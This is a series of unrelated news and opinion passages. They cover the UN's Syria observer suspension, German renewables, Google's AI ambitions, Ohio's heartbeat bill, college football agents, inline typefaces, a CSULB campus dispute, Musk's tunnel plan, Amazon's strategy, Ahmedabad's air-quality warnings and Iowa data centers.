part to pressure from countries that contributed the observers.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  “Troop-contributing countries are saying our men and women are at risk, we are having second thoughts about this operation,” Mr. Fawzi said. “They are in danger and they want the danger to go away.”  “There is nothing final,” he said. “It is a suspension, not termination.” But patrols would resume only “when we return to a situation where both sides show us that they are serious and earnest about stopping the killing of each other.”  General Mood is expected to fly to New York to brief the Security Council on Monday.  Responding to the observers’ decision, Syria’s government said Saturday that it respected both the peace plan and the safety of the United Nations observers. But it blamed the opposition for the escalation of violence in Syria. In a statement, the Foreign Ministry also assailed “Arab and international powers” for arming the rebels and supporting their “defiance of the U.N. plan.”  By mid-July the original 90-day mandate for the observers will expire. But the suspension, if prolonged, will focus new pressure on those governments allied with Syria, particularly Russia and Iran, which have backed the plan as the only way to stop the violence.  The inclusion of Iran in an international group proposed by Mr. Annan to discuss ways to save the peace plan — a “contact group” in the United Nations’ parlance — was rejected by the United States , while Russia insisted on it. That raised serious questions about whether the contact group would ever meet.  At a minimum it is supposed to include the five permanent members of the Security Council, plus important neighboring states. “Everybody realizes this meeting has to take place,” Mr. Fawzi said. “They need to come up with a draft action plan.”  That plan is supposed to include a cease-fire and a political transition, presumably with Mr. Assad leaving the country.  Advertisement Continue reading the main story  But Russia and Iran have continued to back Mr. Assad and have refused to endorse plans for his exit. The United States, along with Saudi Arabia and other Arab states, has embraced the rebels. The inability of the United Nations to bridge the gap only increases the likelihood that the Syrian conflict will become a regional proxy fight.  “There is just a political hurricane gathering in the Eastern Mediterranean,” said Andrew J. Tabler, a Syria scholar at the Washington Institute for Near East Policy. “Both sides agree that it is a hurricane, but they don’t agree on its nature.  “And in any case,” he continued, “I am not sure how you could contain this. Even if you started now, it would take a long time to get something in place that would tamp this down.”  Inside Syria, opposition activists called the observer mission a sham that had only served to deflect attention from the failure of the world powers to stop Mr. Assad’s forces from killing civilians.  “Their presence is just like their absence,” Mohammed el-Muetassem bi’Allah, 18, an activist from Homs, said of the observers. “They are incapable of stopping the violence. They were there and the shelling was intensifying on Homs and Khaldiya.”
-Figures from research institute, ZSW for solar energy and hydrogen, and the German Association of Energy and Water Industries (BDEW), indicate renewable energy will meet roughly 33% of Germany’s gross energy demand in 2015, up from 27% last year.  Led by wind and PV power, renewables are set to generate around 193 billion kWh of energy, compared to 161 billion in 2014. Despite a moderate installation rate, solar plants have produced 35 billion kWh of energy in the first 10 months of 2015 – as much as was produced in the whole of last year. Wind, meanwhile, had already generated 63 billion kWh by October 31, up around 47% on the same period in 2014.  "Regardless of the exact shares at the end of the year, it is again clear that renewable energies in Germany’s electricity mix continue to gain in importance," commented Hildegard Müller, chairwoman of the BDEW.  She added that at the same time, the pressure to integrate renewables into the country’s overall power generation system is increasing. "The adequate configuration of the necessary structures must be pursued with urgency," she stated, including the expansion of transmission and distribution networks.
-Summary (details follow)  Google provides an early-stage variant of a general-purpose AI (GP-AI).  Other providers of an early-stage GP-AI include IBM, Microsoft, Facebook, Amazon, Apple, and Samsung.  Google and its AI competitors are likely to be operating under the assumption that one GP-AI could become the runaway market leader. Their likely thinking:  The more users a GP-AI has, the smarter it gets. The smarter a GP-AI gets, the more new users it will attract.  Google can produce multiple comedy series that showcase its AI being funny and getting smarter. In particular, these comedies can showcase Google’s AI getting smarter about facilitating group flow. This variant of flow:  is a top enabler of professional success for group members  often sparks romantic/sexual attraction between group members  Google’s flowmantic comedies could become very popular, not least because:  comedy and increased prospects of money and (great) sex stimulate the part of the brain called the nucleus accumbens  the nucleus accumbens mediates psychological addiction (i.e., manufactures cravings)  So Google’s comedies could enable Google’s AI to gain enough users to achieve escape velocity, the precursor to runaway market leadership.  Fun fact: Popular comedies typically generate a lot of revenue directly (e.g., via advertising, product placement).  Via comedy, then, the popularizing of Google’s AI could be run as a profit center.  So Google’s AI competitors . . .  I shared this article with Google by responding to the company’s October 2016 job post seeking a comedy writer for Google’s AI.  So, again, Google wanting its AI to be funny portends . . .  Re: early-stage GP-AI  “[T]he first genuine AI will not be birthed in a stand-alone supercomputer, but [rather] in the superorganism of a billion computer chips known as the ‘Net. . . . Any device [e.g., a smartphone] that touches this networked AI will share — and contribute to — its intelligence.”  — From 2016 book The Inevitable: Understanding the 12 Technological Forces That Will Shape Our Future, by the founding executive editor of Wired magazine  Re: Google’s AI  “Google Assistant, a voice-activated digital helper [that] . . . ‘learns’ about your habits and day-to-day activities and carries out ‘conversation actions’ to serve you. It also draws on information in your Google accounts. The more it knows about how, when, and where it is used, the more it’s able to help you.”  — From an October 9, 2016 article on Futurism.com  “All That New Google Hardware? It’s a Trojan Horse for AI”  — Title of an October 5, 2016 article on Wired.com  Re: Google wants its AI to be funny  “Google Taps Pixar, Onion Staff to Give AI Assistant a Sense of Humor”  — Title of an October 11, 2016 article on the website of PC magazine  Re: Google vs. IBM vs. Microsoft . . .  “Major technology firms are racing to infuse smartphones and other internet-linked devices with software smarts . . .  The artificial intelligence (AI) component in these programs aims to create a world in which everyone can have a virtual aide that gets to know them better with each interaction.”  — From an October 8, 2016 article on Yahoo.com  Companies mentioned in the article: Google, IBM, Microsoft, Facebook, Amazon, Apple, Samsung.  Re: one GP-AI could become the runaway market leader  “The more people who use an AI, the smarter it gets. The smarter it gets, the more people who use it. The more people who use it, the smarter it gets. And so on. Once a company enters this virtuous cycle, it tends to grow so big so fast that it overwhelms any upstart competitors. As a result, our AI future is likely to be ruled by an oligarchy of two or three large, general-purpose cloud-based commercial intelligences.”  — From The Inevitable: Understanding the 12 Technological Forces That Will Shape Our Future  Re: producing comedy series to (further) popularize a GP-AI  — From a 2013 article on Neilsen.com  — From the July 2014 report by Yahoo and Tumblr, in partnership with Razorfish and Digitas, titled “Content Marketing: Best Practices Among Millennials”  Re: producing profitable comedy series to (further) popularize a GP-AI  “The Big Four [TV] networks can charge an average of 35 percent more for a thirty-second spot on a situation comedy than one on a drama.”  — From 1999 book The Entertainment Economy  Re: group flow is a top enabler of professional success  “Flow’s two defining characteristics are its feel-good nature (flow is always a positive experience) and its function as a performance-enhancer. The [neuro]chemicals described herein are among the strongest . . . the body can produce.”  “A ten-year study done by McKinsey found top executives reported being up to five times more productive when in flow. Creativity and cooperation are so amplified by the state that [a] Greylock Partners venture capitalist . . . called ‘flow state percentage’ — defined as the amount of time employees spend in flow — the ‘most important management metric for building great innovation teams.’  . . . When performance peaks in groups . . . this isn’t just about individuals in flow — it’s the group entering the state together . . .”  — From 2014 book The Rise of Superman: Decoding the Science of Ultimate Human Performance  Re: group flow often sparks romantic/sexual attraction  “[T]here are extraordinarily powerful social bonding neurochemicals at the heart of both flow and group flow: dopamine and norepinephrine, that underpin romantic love . . .”  — From The Rise of Superman  “Great Groups are sexy places.  . . . [During Apple’s early years, Steve Jobs mandated that] employees share [hotel] rooms when they were at conventions and other professional meetings . . . to limit bed-hopping . . .”  — From 1997 book Organizing Genius: The Secrets of Creative Collaboration  Re: comedy stimulates the nucleus accumbens  “Mobbs saw that subjects’ brains became highly activated for all the cartoons, but one subset of structures responded solely for the funny ones — namely, the ventral tegmental area, the nucleus accumbens, and the amygdala. What do those brain regions have in common? They’re key components of what scientists call the dopamine reward circuit, which is responsible for distributing dopamine throughout the brain. In response to unfunny jokes, we not only fail to laugh, we miss out on the joy. That joy comes in the form of dopamine.  . . . [H]umor taps directly into the brain’s pleasure-production system.”  — From 2014 book Ha!: The Science of When We Laugh and Why  Re: the prospect of money stimulates the nucleus accumbens  “The brain scan at the top highlights the nucleus accumbens flaring up at the prospect of making money . . . (courtesy of Hans Breiter, Harvard Medical School)”  — from 2007 book Your Money and Your Brain: How the New Science of Neuroeconomics Can Help Make You Rich  Re: the prospect of (great) sex stimulates the nucleus accumbens  “[N]uclei accumbens, which respond nearly identically to the prospect of food, sex . . .”  — From 2009 book The Investor’s Manifesto  Re: the nucleus accumbens mediates psychological addiction  “[I]t’s no wonder companies stimulate consumers’ nucleus accumbens all the time. For example, the reason we find ourselves incessantly checking our smart phones is deeply rooted in the psychology of reward.”  — From a 2014 article by the author of 2014 book Hooked: How to Build Habit-Forming Products  “Dopamine and drug addiction: the nucleus accumbens shell connection.”  — Title of a 2004 academic paper published in Neuropharmacology (the paper had 674 citations as of October 23, 2016)
-The Ohio legislature voted this week to ban abortion at first detection of a fetal heartbeat, which is banning the procedure before some people even know they are pregnant, which is largely indistinguishable from banning all abortion. Now Republican Gov. John Kasich will sign it or veto it. Either way, the measure has done something significant.  The point of a heartbeat bill is bigger than policy. It’s also marketing. Pass or fail, it carries a message: We will never stop trying to take your body from you.  Advertisement  Ohio is not the first state to use a heartbeat as a milestone to ban abortion all but outright. Earlier this year, the Supreme Court rejected an appeal on Arkansas' Human Heartbeat Protection Act, a 12-week ban, leaving in place two lower court rulings that struck it down.  And it was 2014 when a federal court overturned a nearly identical six-week ban in North Dakota, citing 40 years of constitutional precedent established by Roe v. Wade. The Supreme Court had made the law clear, according to the judge’s ruling, and “this court is not free to impose its own view of the law.”  It was an inevitable outcome, really. North Dakota’s governor had signaled that it was unconstitutional even as he signed it, and the same split among anti-abortion Republicans that played out in Ohio—some liked the bill’s intent but not its brazen lack of constitutional standing, some thought go big or go home when it comes to banning abortion—happened there, too.  Advertisement  Even Kasich, who has signed virtually every abortion restriction that has reached his desk, indicated last year that he was skeptical of the measure on similar terms: it’s an invitation to expensive litigation. (North Dakota spent at least $200,000 to defend its legally indefensible law.)  And then as now, women put their own lives up for scrutiny to try to make a point about decency and medicine and what it means to have a hand on the levers of your own life.  While the bill was debated in Ohio in 2015, state Rep. Teresa Fedor, a Democrat from Toledo, joined the list of female lawmakers who openly shared their own abortion stories in the hope of wringing some humanity out of their colleagues.  Advertisement  Fedor, who became pregnant after being raped, and chose to terminate the pregnancy, said on the House floor: “You don’t respect my reason, my rape, my abortion… What you are doing is so fundamentally inhuman, unconstitutional, and I’ve sat here too long.”  It didn’t move them, which is both shocking and not. Other women have tried, and failed, to use personal, often wrenching, appeals to convince others that they are people deserving of basic rights.  Now it's a question of what happens next, and why this go-round might be different even through we've seen this before. If Kasich makes good on his earlier skepticism and vetoes the bill, then it will die. But it’s also possible that the Legislature will try to send it back up again.  Advertisement  Times are changing, after all.  “A new president, new Supreme Court appointees change the dynamic,” Ohio Senate President Keith Faber, a Republican from Celina, told the Columbus Dispatch when asked about the timing of the amendment. “And there was consensus in our caucus to move forward.”  The message has always been the message. But the magical thinking of anti-abortion lawmakers—a state will introduce an abortion ban that has been struck down elsewhere because maybe it will stick—has become more rooted in shifting political realities.  Advertisement  If Donald Trump holds to his word and appoints Supreme Court justices who will reopen Roe, then even the paper-thin constitutional protections in place right now become vulnerable. And states like Ohio, unshackled from that legal precedent, may pass six-week bans, or total bans, without fear of a costly battle in court.  And so an embryo in Ohio could gain legal personhood at six weeks. And at six weeks, women could lose theirs.
-Today we thank the Southeastern Conference for reminding us it’s almost college football season, when big-time educational institutions hit the “hold” button on their ethical standards and all but light candles daily in hopes that their school does not end up at the top of the N.C.A.A. enforcement police blotter. This year, many of those hopes have already been extinguished and what was originally called the S.E.C.’s “Media Days” have officially been renamed the “Blame Everything on Those Dastardly Agents Days.”  It was a bit priceless — pun intended — that Alabama Coach Nick Saban (annual salary: $4 million) went on the offensive Wednesday, bemoaning how money is ruining this quaint little sport. He compared the agents to pimps and said they were victimizing his poor children (players).  Saban was joined in this particular rant by Florida Coach Urban Meyer (annual salary: $4 million). What spawned this frantic finger-pointing, writes Pat Forde of ESPN.com, is a rash of reports that prominent S.E.C. players were entertained by agents at a South Beach soiree. Georgia, not coincidentally, just received notice from the N.C.A.A. that its enforcers will be stopping by for a not-so-friendly visit. This, writes Jeff Schultz of the Atlanta Journal Constitution, is causing the coaches to suddenly get religion on the agent issue. As Gregg Doyel does a very good job of articulating on CBSSports.com, they are worried mostly because the N.C.A.A. showed it is finally ready to deal with the agent issue after years of ignoring it. The University of Southern California’s stiff penalties are the N.C.A.A.’s evidence of that.  So it was a bit disconcerting, writes Dennis Dodd on CBSSports.com, to hear S.E.C. Commissioner Mike Slive sounding Mike Garrett-like when he called for “education not enforcement” on the agent issue, that it might be time to talk about allowing players to sign with agents whenever they want. Everyone, it seems, would like to wash their hands of any responsibility and The Sporting News’s Dan Levy wrote that some of the blame should fall on those “kids,” players who are actually adults and should know better.  Advertisement Continue reading the main story  On the bright side, we have articles talking about South Beach that do not involve LeBron James. Although if you prefer to linger more on the fiasco that was James’s “The Decision,” ESPN’s ombudsman, Don Ohlmeyer, has finally weighed in on the topic after the network has absorbed two weeks of public opinion pounding. His take? It was a travesty. But we already knew that.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  It does seem fitting too that Sports Illustrated picked this interlude to offer its annual rating of the 50 highest-earning athletes. It’s about the only reason these days that Tiger Woods can yell, “I’m No. 1!”
-The German noun »Licht« means »light«, while the adjective »lichte« translates as »sparse« and is not to be confused with »leicht«, »light« in English, which is another established term in the anatomy of type in both languages. Therefore »light« is actually an unfortunate, but common translation of »lichte«. »Inline« best describes the design of this style, although the outline is just as significant. In the type specimens of the time, a »lichte Grotesk« would have also been advertised as a »Zierschnitt«, suggesting it is a decorative weight to be used in display sizes.  Weights or single typefaces that follow this style may simply be drawn in closed outlines (i.e. Lumina, 1928), but usually stroke endings are open, lending the impression of parallel strokes (Elegant Grotesk, 1929). The idea of an inline is provoked by the negative space between the strokes and can be enhanced by additional strokes (Reflexschrift Helios, 1928) – Prisma (1931) is a popular example of this feature.
-A left-leaning group at California State University, Long Beach called a newly-formed conservative student organization “white supremacist” and said the members were not “welcome” on campus, emails show.  CSULB’s “Student for Quality Education” group asked for ideas on how to “counteract” the newly formed Turning Point USA chapter in an email, Campus Reform reported.  In the message, SQE finds fault with TPUSA’s support for ideas such as the “free market, limited government, and free speech.”  SQE asks its members to oppose the conservative group.  “Have an idea of what we can do to counteract them?” SQE wrote in the email. “Come to our meeting and let us know.”  Under the heading “stop white supremacy,” the message warns about "right-wing student groups" such as TPUSA.  “Right-wing student groups are popping up all across the country and CSULB is no different,” the email stated. “Let’s show them that they are not welcome here.”  The TPUSA chapter president told Campus Reform that SQE has sent out at least two similar emails.  They are “promoting hate and discrimination against any group that is ‘right-wing,’” Oscar Acevedo said.  TPUSA’s founder, Charlie Kirk, rejected the characterization of his group as having anything to do with "white supremacy."  “Calling Turning Point USA a white supremacist group is one of the most intellectually lazy attacks upon our organization,” Kirk told Fox News. “Not only do we have widespread diversity within our ranks, we also host the nation’s largest ‘Young Latino Leadership Summit’ for young conservative Latino leaders each year.”  Kirk said this treatment is the new normal for conservatives on campus.  “Whenever the left finds a group or organization they disagree with, they immediately want to characterize that group as racist,” he said. “Instead of having a substantive conversation about the issues they would much rather hurl insults that aim to delegitimize conservatives.”  SQE did not immediately respond to a request for comment.
-Elon Musk took to Twitter early this morning to sketch out a new plan to disrupt traffic on American roadways by digging tunnels underground to circumvent congestion.  Specifically, Musk wants to open The Boring Company, which he says will actually happen. In a series of four tweets, Musk didn’t reveal exactly how he would do this without causing even more traffic, since that’s what happens with construction projects.  There’s a chance Musk was just venting his frustration out loud on Twitter this morning. He’s one of the only people where it's equally possible he's just making a corny joke or actually scheming an earth-moving infrastructure plan. But now that Musk joined Trump’s advisory team, it’s worth taking what he says seriously.  And the serial entrepreneur did update his Twitter bio to read, “Tesla, SpaceX, Tunnels (yes, tunnels) & OpenAI.”  Traffic is driving me nuts. Am going to build a tunnel boring machine and just start digging... — Elon Musk (@elonmusk) December 17, 2016  It shall be called "The Boring Company" — Elon Musk (@elonmusk) December 17, 2016  Boring, it's what we do — Elon Musk (@elonmusk) December 17, 2016  I am actually going to do this — Elon Musk (@elonmusk) December 17, 2016  As an adviser to Trump, Musk may have more pull to see this through. Trump said he plans to invest big — $1 trillion — to rebuild American infrastructure and reshape American roads, specifically by attracting private investment.  Musk is no stranger to tackling big problems with innovative workarounds, and he certainly knows a lot about transportation.  But Musk is already fairly busy. He’s working to one day colonize Mars, hence SpaceX, his interplanetary transportation company. He’s deeply concerned with climate change, which is one of the reasons he makes electric cars with Tesla and solar installations with SolarCity. Artificial intelligence could one day outsmart humanity and lead to the ultimate destruction of all humans, so last year he started a nonprofit called OpenAI to help find solutions to keep AI working for, and not against us.  Before joining Trump’s advisory team, the Tesla CEO said Trump “doesn't seem to have the sort of character that reflects well on the United States."
-Jeff Bezos, CEO of AMAZON, introduces new Kindle Fire HD Family and Kindle Paper white during the AMAZON press conference on September 06, 2012 in Santa Monica, California. Photo by JOE KLAMAR/AFP/GettyImages  Over the weekend, Henry Blodget had a good experience with Amazon that cost them some money, a tendency he declared makes them one of the best companies in the world. Amazon, he says, is like Rick’s Cafe in Casablanca in that it “constantly sacrifices short-term profit in the interest of serving other constituencies and values, including customers, employees, and the community,” so “it’s certainly no mystery why Amazon continues to take over the world.”  I agree with all of that, but I insist that it actually is a mystery. After all there’s a reason why most companies don’t employ the “provide a great service at such a great price that we don’t actually earn any profits” business strategy, namely that shareholders typically want to own shares in profitable companies.  If you don’t turn a healthy profit, people tend to sell your shares. That makes the company cheap enough that sooner or later some leveraged buyout shop will take you over, reorganize, start earning profits, and start paying themselves special dividends. That’s life. Except for a few special companies who have a hearty ban of investors who have enough faith in management to let them pursue a strategy of growth and excellence rather than profits. It’s the fact that Amazon is able to maintain such a healthy market capitalization even while pursuing Jeff Bezos’ strategy that makes it such a terrifying competitor. If Wal-Mart didn’t care about turning a profit, it could easily raise wages and have a better reputation. If your cable company didn’t care about turning a profit, it would slash prices and you’d love it. If Apple didn’t care about turning a profit, Verizon and AT&T would be handing out free iPhone 5s like candy.  It would be a wonderful world. But it’s not the world we live in because these are publicly traded companies in a capitalistic economy. They don’t just want to make money; the broader dynamics of the marketplace mean they have to make money or the managers will lose their jobs. Amazon is special. Wall Street has essentially granted Bezos the right to operate an extremely forward-looking charitable venture on the theory that at some future point it will acquire monopoly pricing power and start screwing us all. Personally, I’m skeptical that theory makes sense, so I’m just going to enjoy the ride. But don’t hate on Amazon’s competitors for not offering as good a value proposition. Pity them. I’m sure the bosses here at the Washington Post Company would love the opportunity to just deliver products regardless of profit, never pay dividends, and get hailed as geniuses for figuring out that the key to running a great media brand is for expenses to be unrelated to costs.
-Select a date Select month July 2018 June 2018 May 2018 April 2018 March 2018 February 2018 January 2018 December 2017 November 2017 October 2017 September 2017 August 2017 July 2017 June 2017 May 2017 April 2017 March 2017 February 2017 January 2017 December 2016 November 2016 October 2016 September 2016 August 2016 July 2016 June 2016 May 2016 April 2016 March 2016 February 2016 January 2016 December 2015 November 2015 October 2015 September 2015 August 2015 July 2015 June 2015 May 2015 April 2015 March 2015 February 2015 January 2015 December 2014 November 2014 October 2014 September 2014 August 2014 July 2014 June 2014 May 2014 April 2014 March 2014 February 2014 January 2014 December 2013 November 2013 October 2013 September 2013 August 2013 July 2013 June 2013 May 2013 April 2013 March 2013 February 2013 January 2013 December 2012 November 2012 October 2012 September 2012 August 2012 July 2012 June 2012 May 2012 April 2012 March 2012 February 2012 January 2012 December 2011 November 2011 October 2011 September 2011 August 2011 July 2011 June 2011 Select a category Agriculture Bihar Votes For Its (and India’s) Future BUDGET 2014 Budget 2015: Modi’s Moment of Reckoning Budget 2016: The stories behind the numbers Chart of the Day Climate Change Cover Story Currency Chaos Development Education Elections 2014 Employment Fact Check Governance Newsletter Health homepage video Hunger India’s Great Challenge: Health & Sanitation IndiaSpend In The News IndiaSpend Interviews Industry Investigations Central State Latest Headlines Latest Reports Making Sense of Breaking News Modi’s Message: India’s States Reply Modi’s Report Card Mumbai Special Mumbai Special: The Revival Agenda Opinion – Videos Opinions Pollution Poverty Prime Time: India’s Grand Challenges Resources Central State Sectors Agriculture Defence Economy & Policy Education Health Infrastructure Snapshots States Central India Chattisgarh Madhya Pradesh EAST Bihar Jharkhand Orissa West Bengal NORTH Haryana Himachal Pradesh Jammu & Kashmir New Delhi Punjab Rajasthan Uttar Pradesh Uttarakhand NORTH EAST Arunachal Pradesh Assam Manipur Meghalaya Mizoram Nagaland Sikkim Tripura SOUTH Andhra Pradesh Karnataka Kerala Tamil Nadu WEST Goa Gujarat Maharashtra Story In A Minute The Air We #Breathe The Road To Delhi: Elections 2015 The Transition: 2015-2016 Uncategorized Viznomics: A Quick Glance At Big Issues Welfare Women Women@Work Search with Google  The first Indian monitoring and early warning system for air pollution was launched on May 12, 2017, in the nation’s fifth most populous city, with the hope that it will reduce the health impacts and deaths from air pollution, a growing problem in a country with nine of the world’s 20 most polluted cities in 2016, according to the World Health Organization (WHO).  Combining the efforts of local government, scientists and nonprofits, eight new air quality monitoring sites across Ahmedabad will produce a daily air quality index (AQI) that will be accessible to citizens through 11 LED screens across the city, as part of what is called the Air Information and Response (AIR) plan.  An early warning system will notify people of excessive pollution days as part of the response plan, while medical professionals will be trained to respond to air-pollution emergencies. The monitors are installed at eight locations (Bopal, Satellite, Pirana, Raikhad, Navrangpura, Rakhiyal, Chandkheda and the airport) in a city of over 5.5 million people.  An AQI is a metric on a sliding scale that tells people about the quality of the air and associated near-term health impacts. It transforms complex air quality data of various pollutants into a single number (index value), nomenclature and colour.  Source: Indian Institute of Tropical Meteorology & Ahmedabad AIR planNote: Each of the AQI categories are decided based on ambient concentration values of air pollutants and their likely health impacts (known as health breakpoints). The eight pollutants measured are PM 10, PM 2.5, NO 2 , SO 2 , CO, O 3 , NH 3 , and Pb for which short-term (upto 24-hours) National Ambient Air Quality Standards are prescribed.  Ahmedabad was among the five most polluted cities in India in terms of PM 2.5, according to the WHO’s 2014 Ambient Air Pollution database.  PM 2.5 is particulate matter finer than 2.5 micro-meters, or about 30 times finer than a human hair. Inhaled deep into the lungs, they can cause heart attacks, strokes, lung cancer and respiratory diseases, and are known to pose the greatest risk to human health. Their measurement is considered to be the best indicator of the level of health risks from air pollution, according to the WHO.  In the footsteps of Beijing  People living in more polluted areas die prematurely after long-term exposure to air pollution, and inconsistent monitoring makes it difficult to assess the threat posed by ambient air pollution.  The AIR plan is a collaborative effort between the Ahmedabad Municipal Corporation (AMC), Indian Institute of Public Health (IIPH), a nonprofit in Gandhinagar, Natural Resources Defense Council (a non-profit head-quartered in New York), Indian Institute of Tropical Meteorology (government institute) and the Indian Meteorological Department’s System of Air Quality and Weather Forecasting And Research (SAFAR) network.  The monitoring and warning system will be tried for the first time in India, but follows the successful example of Beijing, that started the program for issuing colour coded pollution alerts in 2013, according to this report by The Scientific American.  However, this warning plan was accompanied by other measures like restricted driving schedules, school closures and reduced industrial production to curb emissions, according to a 2014 paper in the Journal of Epidemiology and Community Health, which is missing in the Ahmedabad plan.  The AMC has set aside a budget of Rs 30 lakh for 2017, Chirag Shah, nodal officer of the AIR plan and the Deputy Health Officer of the West Zone at the AMC, told IndiaSpend.  “All the recurring costs, such as the maintenance of screens and stations, issuing advisories and initiating programs to increase public awareness will also be borne by us,” said Shah. “The land for installing the AQI monitors has been provided free of cost to SAFAR by the AMC, and SAFAR has invested about Rs 20 crore to install ten AQI monitors in Gandhinagar and Ahmedabad, eight of which are here.”  The AMC had drafted a comprehensive Air Action Plan to combat pollution from construction activities, vehicular emissions and industries in 2016, its second such plan since 2002, but it is yet to be implemented, according to this Times of India report on May 12, 2017.  Forecast air quality, issue early warnings and be better prepared  The AMC Health Department is responsible for coordination of the AQI and AIR Plan. This includes monitoring the daily AQI, issuing alerts and warning on bad air days and disseminating public health messages to local departments and community service providers.  The AIR plan is modelled after Ahmedabad’s Heat Action Plan (HAP), launched in 2013 to reduce health impacts and mortality from extreme heat waves through measures that included early warning systems, increased public awareness and training health professionals.  “If people don’t go to the highly polluted areas and follow the health advisory to minimise exposure, then symptoms will be reduced and there will also be a cost saving for citizens,” Dileep Mavalankar, , Director of IIPH, Gandhinagar, told IndiaSpend. “So, it depends on how effectively we are able to communicate to patients and the people who are vulnerable to avoid exposure.”  “Once this plan is implemented we should be able to observe that the admissions to hospitals or mortality from high pollution levels comes down by taking precautions, like we saw after implementing the heat action plan,” said Mavalankar.  As part of the AIR plan, the AMC will issue a health alert when the AQI forecast for the next 24 hours is “very poor” (301-400). When the AQI forecast rises to “severe” levels (401-500), a health warning will be issued.  Under the health alert, the nodal officer of the AIR program–Shah, the deputy health officer–will “inform urban health centres as well as private medical practitioners including pulmonologists, paediatricians to alert them to expect and be prepared for more cases of respiratory health effects”.  If the AQI exceeds 401 (severe), the nodal officer will inform urban health centres, the local ambulance service, transport, traffic police, the government radio station, schools, colleges, and the estate department–which handles permissions for real estate–in order to control road dust and construction work.  What causes Ahmedabad’s air pollution?  “Major contributors to air pollution are population, industries and vehicles. Rate of urbanisation and industrialisation leading to growth of vehicles make cities like Ahmedabad, Surat, Vadodara and Rajkot the hot spots for air pollution,” according to this 2012 report by the Gujarat ENVIS centre.  Ambient levels of PM 2.5 from transport sources alone are expected to double by 2030 if no action is taken, according to this 2015 report by the Ministry of Health and Family Welfare.  Between 2000-01 and 2010-11, Ahmedabad’s vehicles more than doubled from 1.2 million to over 2.6 million, with two-wheelers forming the largest proportion of the fleet. As of 2014-15, there were 3.4 million vehicles in the city. Ahmedabad also had more than 2,000 industrial air-polluting units as of May 2012, the report stated.  In Ahmedabad, “pollution comes from a variety of sources – power plants and brick kilns surrounding the district. We often believe that vehicles moving in immediate surroundings contribute to the pollution in cities. However, a plant or a kiln away from the city can also affect Ahmedabad considering the wind direction,” Sarath Guttikunda, researcher and founder of Urbanemissions.info (a repository of research, and analysis related to air pollution) told the Times of India in this 2012 report. Ahmedabad has two thermal power plants and more than 300 brick kilns, according to this 2012 paper.  “While Chennai has almost the same size and more industries, sea breeze blows PM 10 away from the city, reducing the suspended particulates in the air,” said Guttikunda. “Going by the PM 10 levels in Ahmedabad, the estimated premature deaths due to pollution is likely to be 4,950 as compared to 3,950 in Chennai.”  The Air Action Plan, if implemented, will reduce pollution from these sources through various measures such as improving fuel quality, phasing out commercial vehicles over 15 years old, traffic management, installing pollution control measures in industries and reducing pollution from thermal power plants.  A part of the plan was also to strengthen the air quality monitoring network and sponsor studies on health impacts of air pollution on the city, which is now underway.  How serious is Ahmedabad’s air-pollution problem?  In 2015, 153 of 168 days (93%) monitored for air quality in Ahmedabad remained “good” according to the national air quality index (AQI).  However, in 2016, the annual PM 2.5 average in Ahmedabad was 183.35 µg/m³ (microgram/cubic metre), over 4.5 times the national ambient air quality standard of 40 µg/m³ prescribed by the Central Pollution Control Board (CPCB). In 2017, the monitor installed by the CPCB in Maninagar to provide real-time air-quality data has been working intermittently.  IndiaSpend analysed air quality data from its monitoring systems, collectively called #Breathe, for two devices located in Ahmedabad for the duration March 14 to May 14, 2017, when CPCB data were unavailable.  Source: Data from the #Breathe network  Of the 62 days that IndiaSpend analysed, only six days (9.6%) fell within the WHO guideline of 25 µg/m³. However, only three of 62 days were over the national standard of 60 µg/m³, meaning that 95% of the monitored days fell within the permissible Indian standard for PM 2.5. However, the most severe air-pollution levels occur during the winter months of November, December and January, according to Mavalankar.  Levels of PM 2.5 over 60 may cause breathing discomfort to people with lung disease such as asthma, and discomfort to people with heart disease, children and older adults.  “While we need more data, roughly 40% or Ahmedabad’s population will fall within this vulnerable category,” Mavalankar said.  (Patil is an analyst with IndiaSpend.)  We welcome feedback. Please write to respond@indiaspend.org. We reserve the right to edit responses for language and grammar.  __________________________________________________________________  “Liked this story? Indiaspend.org is a non-profit, and we depend on readers like you to drive our public-interest journalism efforts. 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-Facebook announced Monday it would break ground this summer on its Iowa data center.  Data centers in Iowa are dominating headlines this week as Facebook on Monday announced its intention to build a facility in Altoona and the next day the State of Iowa revealed Google is expanding its existing project in Council Bluffs. The immediate costs of these two projects is expected to reach nearly $700 million, creating hundreds of construction jobs but likely just 31 new jobs between the two data centers.  Here’s an overview of the Iowa data center news from the two California-based tech giants:  Facebook Fast Facts  The news: Facebook announced it will begin construction this summer in Altoona, Iowa on a 476,000-square foot data center that promises to be among the most advanced and energy efficient of its kind. The company’s 194-acre site could accommodate up to two additional data center buildings that may be constructed in future phases of the project. The Des Moines Register spoke with experts that believe the amount of investment could reach $1.5 billion. This is Facebook’s fourth owned and operated data center—the others are in Prineville, Ore.; Forest City, N.C.; and Luleå, Sweden.  Facebook announced it will begin construction this summer in Altoona, Iowa on a 476,000-square foot data center that promises to be among the most advanced and energy efficient of its kind. The company’s 194-acre site could accommodate up to two additional data center buildings that may be constructed in future phases of the project. The Des Moines Register spoke with experts that believe the amount of investment could reach $1.5 billion. This is Facebook’s fourth owned and operated data center—the others are in Prineville, Ore.; Forest City, N.C.; and Luleå, Sweden. Cost: Facebook will invest a minimum of $299.5 million in the project.  Facebook will invest a minimum of $299.5 million in the project. Job creation: Facebook is expected to create at least 31 new jobs at a qualifying wage of $23.12 per hour. The project also is expected to create hundreds of construction jobs.  Facebook is expected to create at least 31 new jobs at a qualifying wage of $23.12 per hour. The project also is expected to create hundreds of construction jobs. Incentives: The Iowa Economic Development Authority board approved $18 million in tax benefits through its High Quality Jobs program. The City of Altoona will exempt local property taxes for the site for 20 years. The city also has in place a special discounted water rate for businesses that use more than 9 million gallon a month. After 9 million gallons, the business would get a $3 rebate per thousand gallons.  The Iowa Economic Development Authority board approved $18 million in tax benefits through its High Quality Jobs program. The City of Altoona will exempt local property taxes for the site for 20 years. The city also has in place a special discounted water rate for businesses that use more 